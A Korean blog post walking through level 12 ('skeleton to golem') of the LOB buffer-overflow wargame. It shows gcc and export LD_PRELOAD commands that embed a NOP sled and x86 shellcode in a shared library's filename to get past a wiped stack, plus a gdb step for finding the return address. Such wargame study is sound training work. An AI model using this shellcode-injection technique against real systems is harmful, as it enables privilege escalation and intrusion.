일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 |
- 서니나타스
- 써니나타스 1번
- 자료개방포털
- R언어
- lob 10번
- ultra argv hunter
- mode함수
- 써니나타스
- pyinstaller
- 범용레지스터 #레지스터 #어셈블리 #ASM #리버싱 #어셈블리어 #EAX #ESP
- troll to
- kosis
- 결측치
- kostat
- argc
- 포너블
- pythoncli
- lob
- lob 9번
- anxi0
- 쉘코드
- orge to troll
- 빅데이터
- 마크업 언어
- 데이터형
- argv
- IS함수
- pythonexe
- lob 7번
- wolfman to darkelf
- Today
- Total
ANX1-Z3R0의 불안극복(不安克服)
012. skeleton to golem | anxi0 본문
시작해보자.
딴건 다 전과 같은데, 스택을 초기화시켜 버린다. 음.... 으음
그럼 쉘코드를 삽입시킬 자리가 없잖아?
...
...
..
그럼 다른 데 넣으면 되지!
LD_PRELOAD라는 것을 사용할 것이다.
스택이 초기화 되기 때문에, 그것보다 낮은 주소의 공유라이브러리에 쉘코드를 넣으면 되지!
바로 ㄱㄱ
vi로 빈 코드를 만든다. <-vi a.c
코딩 후 esc누르고 :wq 엔터!
GCC로 파일명을 nop+쉘코드로하여 컴파일 한다.
<- gcc a.c -fPIC -shared -o `python -c 'print "\x90"*100 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`
그다음 LD_PRELOAD를 설정해준다!
<- export LD_PRELOAD="`python -c 'print "/home/skeleton/tmp" + "\x90"*100 + "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`"
그리고 echo $LD_PRELOAD를 하면 잘 박혔는지 확인할 수 있다.
그다음 리턴주소를 한번 찾아줄까?
라이브러리 영역은 스택 전에 있으니깐 뒤쪽으로 한번보자 한... 2000쯤?
<-x/1000x $esp-2000
어디였드라....?
오! 그래 여기그만 그래! 여기로 리턴해주자.
오늘의 교훈
1. 공유 라이브러리 영역
2. 주소에 주의하자.
3. LD_PRELOAD 설정이 꽤나 잘 안 된다.
'HACKING > [SYSTEM HACKING] LOB' 카테고리의 다른 글
.iso 파일 VMware에 적용시키기 (0) | 2020.07.11 |
---|---|
VMware 15.5 pro keygen 설치 방법 (0) | 2020.07.11 |
011. vampire to skeleton | anxi0 (0) | 2019.03.21 |
010. troll to vampire | anxi0 (0) | 2019.02.19 |
009. orge to troll | anxi0 (0) | 2019.02.19 |